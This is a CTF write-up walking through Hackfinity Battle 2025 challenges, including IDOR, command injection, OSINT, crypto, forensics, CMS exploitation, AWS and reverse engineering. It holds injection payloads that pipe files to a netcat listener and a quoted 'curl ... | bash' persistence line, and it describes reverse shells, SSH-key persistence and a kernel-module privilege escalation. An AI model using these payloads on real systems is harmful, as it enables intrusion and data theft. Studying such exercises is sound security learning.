Hackfinity Battle CTF 2025
Last updated
Last updated
Hey, fellow hackers! 🏴☠️
In this writeup 📝, I’ll break down some of the exciting challenges solved by myself and my squad P4rad0x. Let’s dive in and unpack the flags, one puzzle at a time. 🧩💡
I am given a simple login for an online notepad service.
Credentials:
User: noel
Pass: pass1234
After logging in, the URL shows a classic pattern: /note?id=1
That triggered an alarm. And it is IDOR (Insecure Direct Object Reference). Tampering with the ID parameter gives access to other users notes.
Changing id=1
→ id=0
revealed the very first note created on the service… and inside:
THM{i_can_see_your_notes}
Upon visiting http://<machine_ip>:5000
, you’re greeted with a site offering encryption using PGP. It accepts a message from the user and returns the encrypted version.
Submitting ;
alone gave an error indicating bash was parsing the input — a sign of command injection.
By chaining commands, like:
; ls
I can list the directory contents.
By listing the files in the directory, I found a file flag.txt
Using cat
printed the contents of the file.
; cat flag.txt
THM{pgp_cant_stop_me}
This time, the site allows you to upload a file and choose a recipient for encryption using GPG.
After uploading a file, the app returns a .gpg
link:
Accessing this directly works — but there’s more.
Changing the recipient didn’t yield much — until you tried injecting into the filename or parameters.
Eventually, command injection slipped through in "recipient" parameter . Using payloads like before:
; ls
will not go through
Using ; $(ls)
will throw an error in encryption attempt. which shows the command is running but we can't see the output here.
So , I used netcat to receive data from the server. A crafted reverse shell allowed it to send command output to the listener.
; $( ls | nc <listener-ip> <listener-port> )
I can list the directory contents. By listing the files in the directory, I found a file flag.txt
Using cat
printed the contents of the file.
; $( cat flag.txt | nc <listener-ip> <listener-port> )
THM{going_in_bl1nd_2394}
We’re provided with a image of Cipher’s accomplice “Phicer” leaving a restaurant.
The mission: Identify the burger restaurant using only the photo. Time to zoom in, enhance, and hit the virtual streets.
Here's the image we were given:
After inspecting the image closely, I noticed a unique street art mural on the wall in the background — a perfect anchor for visual location hunting.
I tried several reverse image search engines (Google Lens, Yandex), and after a bit of patience, I got a hit! The mural appeared in a few public Instagram posts, mostly geotagged around São Paulo, Brazil. Narrowing further, I matched the mural to a specific alley known for graffiti art.
Boom💥— we hit the spot!
THM{coringa_do_beco}
The next challenge builds on the previous one — now that we’ve found a visual clue, we need to dig into one of Cipher’s safe house locations.
We’re given a clue that mentions Mr. Wok, and the location is somewhere in São Paulo.
The Approach:
I Googled: "mr.wok" "safe house" São Paulo
It led me to a business listing and maps result that matched the style and area from the previous clue. I examined the address and compared it to our last known location.
It checked out! This was indeed one of Cipher’s safe spots.
THM{83_galvao_bueno}
We’re given this hex blob:
Assume the message starts with ORDER:
XOR the first 6 bytes of the ciphertext with ORDER:
to get the key
Use the repeating key to decrypt the whole thing
💻 Decryption Script:
Result: ORDER: Attack at dawn. Target: THM{the_hackfinity_highschool}
THM{the_hackfinity_highschool}
We found a strange encrypted string and the algorithm that created it. Time to play cipher surgeon.
a_up4qr_kaiaf0_bujktaz_qm_su4ux_cpbq_ETZ_rhrudm
Encryption Logic:
They used a twist on the Caesar cipher — for each letter in the message, shift it forward by its position index.
Python snippet:
To decrypt, we simply reverse the index shift.
💻 Decryption Script:
Output:
THM{a_sm4ll_crypt0_message_to_st4rt_with_THM_cracks}
We intercepted Cipher’s secret RSA message. All we got is a file containing the encrypted flag and the encryption logic. Time to go full 007.
Understanding the Given RSA Setup
You provided an RSA encryption setup where:
p is a 1024-bit prime
q is the next prime after p
n=p×q
e=65537 (common public exponent) # 0x10001
c is the encrypted flag
To decrypt c back to plaintext. First, Get p and q, From the code:
p is random, and q is the next prime after p (primo(p)).
Given n = p × q
, we can factor n by finding the largest prime ≤ sqrt(n). And, Obtain d
ϕ(n) = (p−1) × (q−1)
d= e^−1 mod ϕ(n)
Using modular inverse, we compute d. Then, find the flag.
m = c^d mod n
Convert m (the decrypted number) back to a string.
💻 Decryption Script:
Output:
THM{Just_s0m3_small_amount_of_RSA!}
Loaded the provided challenge.pcapng
file in Wireshark. Immediately noticed a bunch of TCP and NFS traffic—lots of noise, but we need the signal. Scanned for patterns and signatures… then
BOOM! Found a familiar ZIP file header.
Looked for PK\x03\x04
in Wireshark (magic bytes of ZIP files). Found it buried in a data packet.
Extracted the entire hexdump of the ZIP stream and used CyberChef to reconstruct the ZIP file.
ZIP is Password Protected?!
Not a problem—this isn’t our first rodeo.
Dug deeper in the PCAP and found an MD5 hash floating in one of the packets.
Unzipped the file with the password and it worked!. Inside a QR code.
Scanned the QR for flag.
THM{n0t_s3cur3_f1l3_sh4r1ng}
Something shady hit this CMS site. Let's rewind the tape and see how the attacker broke in, and what shell games they played.
Explored the Web Server, Navigated through the CMS site and discovered a db.php
file and started poking around. It has the SQL username and password with that I searched the database.
Accessed SQL Database and found php_cms
as the main DB.
In that the "users" table looked interesting… and one entry stood out:
A PHP file as a profile image? Classic Web Shell trick!
Inspected the Malicious File:
A very compact Remote Command Execution (RCE) backdoor.
The attacker could send base64-encoded commands via the URL.
So, I hunted for the log files and I found some interesting logs in /var/log/apache2/other_vhosts_access.log.1
. It logged every move of the attacker!
Decoded Base64 Commands:
THM{sup3r_34sy_w3bsh3ll}
Analysts say there's something shady deep in the kernel. Normal tools aren't seeing it. Looks like we're dealing with a backdoored module. Let’s dig deeper than deep
First step, I scanned kernel logs, looked into /var/log/kern.log
and spotted this spicy entry:
/proc/cipher_bd , but the file is empty. After some looking around, I stumble upon the name “spatch”.
It is a custom kernel module (spatch
) and it was loaded:
For identifiying the module details. I used lsmod
, it showed it was active.
modinfo spatch
gave metadata:
This gives so much inforamtion about the backdoor, in that we got the kernel object file spatch.ko
.
Used strings
on it and found some interesting data.
Here's the secret: 54484d7b73757033725f736e33346b795f643030727d0a
Decoding the hex, Boom💥
THM{sup3r_sn34ky_d00r}
"I've sprinkled a few persistence implants across your system, like digital Easter eggs... Time is on my side, always running like clockwork..."
He gave us riddles. We gave him receipts.
Clue 1: "Time is on my side, always running like clockwork."
Sounds like... cronjobs or anything time-based. But got nothing. Then I looked into system logs.
Found something in /var/log/syslog.1
Decoding the base64 gives us curl -s 54484d7b7930.storag3_c1ph3rsqu4d.net/a.sh | bash
54484d7b7930
is hex → converts to
THM{y0
Clue 2: “A secret handshake gets me in every time.”
Handshake = SSH
There are five users to be exact, I search every user's ".ssh". User "zeroday" has ".authorized_keys" file. Inside it has a interesting string
326e6420706172743a20755f6730745f.local
326e6420706172743a20755f6730745f
is hex → converts to
2nd part: u_g0t_
Clue 3: "Whenever you set the stage, I make my entrance."
This one's theatrical — maybe a reference to login scripts. There is no user defined scripts.
Then I checked the .bashrc
and .profile
file of every user.
.bashrc
— jackpot in specter
user profile:
4d334a6b58334130636e513649444e324d334a3564416f3d
is hex → converts to
3rd_p4rt: 3v3ryt
Clue 4: "I run with the big dogs, booting up alongside the system."
Persistence at system startup? Checked for systemd services...
systemctl list-unit-files | grep enabled
Found a shady one:
cipher.service
enabled and running.
Then I searched through the service and how it is executed using
systemctl show cipher | grep ExecStart
NHRoIHBhcnQgLSBoMW5nXyAK.s1mpl3bd.com
in this we get
NHRoIHBhcnQgLSBoMW5nXyAK
is base64 → converts to
4th part - h1ng_
Clue 5: “I love welcome messages.”
Checked:
/etc/motd
→ Message of the Day
/etc/issue
→ Pre-login message
/etc/issue.net
→ Remote login message
No luck. Then I dove into /etc/update-motd.d/00-header
— bingo.
4c61737420706172743a206430776e7d0.h1dd3nd00r.n3t
from this we get
4c61737420706172743a206430776e7d0
is hex → converts to
Last part: d0wn}
Final flag → THM{y0u_g0t_3v3ryth1ng_d0wn}
Network Scanning:
The first step was to perform an Nmap scan to identify open ports and services running on the target machine.
Scan Results:
The scan reveals two open ports:
Port 22 (SSH): OpenSSH 8.2p1 running on Ubuntu.
Port 80 (HTTP): Apache 2.4.41 web server hosting a website titled Cyber Avengers Hub - Under Construction.
With this information, I turned my focus to exploring the web application.
Navigating through the website, I uncovered two important directories:
/backups
/var/log
Inside the /backups
directory, I found a password-protected ZIP file named breakglass.zip
. Before attempting to crack it, I explored the /var/log
directory.
Here, I found a log file named php_error.log.php, but it was inaccessible, indicating a possible dead-end.
Cracking the Zip Password:
Since the breakglass.zip
file was encrypted, I used zip2john
to extract the hash and then cracked it with John the Ripper
using the rockyou.txt
wordlist.
Cracked Password: avenger2008
After extracting the ZIP file, I found a recovery.txt
file containing an MD5 hash for the admin password.
Logging into CMS:
Using the credentials admin:securepassword
, I gained access to the WBCE-CMS v1.6.2 admin panel.
Exploiting the Vulnerability:
The exploit involved uploading a PHP file through the CMS elFinder tool:
Log in as admin and navigate to Admin Tools.
Open elFinder (https://<target-ip>/admin/admintools/tool.php?tool=elfinder
).
Upload a malicious PHP script (exp.inc
).
Access the uploaded file (https://<target-ip>/media/exp.inc
).
To test the functionality, I uploaded a simple PHP script to output phpinfo()
.
The output showed that functions like system
and shell_exec
were disabled, but popen
was available.
After uploading the script and setting up a Netcat listener, I received a shell.
Inside the shell, I enumerated user home directories:
Inside void
's home directory, I found an .ssh
folder with writable .authorized_keys
.
To establish persistent access, I generated an SSH key and appended my public key to .authorized_keys
.
Now, I had SSH access as user void.
THM{us3r_f00th0ld}
Running sudo -l
, I found:
This meant I could load and unload kernel modules. I crafted a malicious kernel module to escalate privileges.
Kernel Module Backdoor:
Makefile:
Compiling and Executing:
Now, I had root access:
The mission was complete!
The command is executed and the log is printed as planned.
THM{l3ts_t4k3_1t_b4ck}
I've been handed AWS credentials with a hint: “You only have access to one service — and it’s the one with the flag."
Time to gear up with the aws-cli
and dive in.
Confirmed the identity with the command aws sts get-caller-identity
User: arn:aws:iam::332173347248:user/user0
Enumeration :
I started probing all available services — until secretsmanager
responds!
I listed the secrets manager using :
aws secretsmanager list-secrets
ID : secret-flag
Extracting the contents of the secret-flag using the command :
aws secretsmanager get-secret-value --secret-id secret-flag
SecretString : "{"flag":"THM{for_your_eyes_only}"}",
THM{for_your_eyes_only}
A phishing site hosted via AWS S3 has been targeting users. I was asked to recover the list of victims.
🖥️ Website:
http://darkinjector-phish.s3-website-us-west-2.amazonaws.com
Listing S3 buckets using:
aws s3 ls s3://darkinjector-phish/
Discovered a suspicious file: captured-logins-093582390
Download & Reviewed the file using :
aws s3 cp s3://darkinjector-phish/captured-logins-093582390 .
The contents of the captured-logins-093582390
is :
THM{this_is_not_what_i_meant_by_public}
We’re handed a binary from a Phantom server with a simple objective: “Compute some magic!”. Our task? Reverse-engineer the logic, understand what this binary expects, and extract the flag.
After executing the binary locally, it prompts for an input — no hints, just a blank stare waiting for 16 characters.
Loading it into a disassembler (Ghidra), we spot the following:
It reads 16 bytes of input.
The input is passed into a function named check_spell
.
Within check_spell
, a function of interest appears: func_17
.
Inside func_17
, two notable calls caught the eye:
check_other
read_flag
Here’s the strategy: make it to read_flag()
by satisfying whatever logic check_other()
imposes.
Digging into the logic :
The check_other()
function is doing some math on each character of the input, comparing the results with a hardcoded string: "AhhF1ag1571GHFDS"
By tracing the operations, we deduce the transformation applied to each character:
This gives us the required input: HaaG8hf8468FAGEZ
Connecting to the server with netcat and feeding the input, the flag pops right out.
THM{s0m3_mag1c_that_can_b3_computed}
Cracked the Hash using . The password of the zip file is avengers
.💥
Using an online hash-cracking service , the hash revealed the plaintext password: securepassword
.
A quick search revealed an exploit for this version: .
Since popen
was enabled, I leveraged it to spawn a reverse shell, Reference:
I used reference from by matheuspd and a little Chatgpt to make it.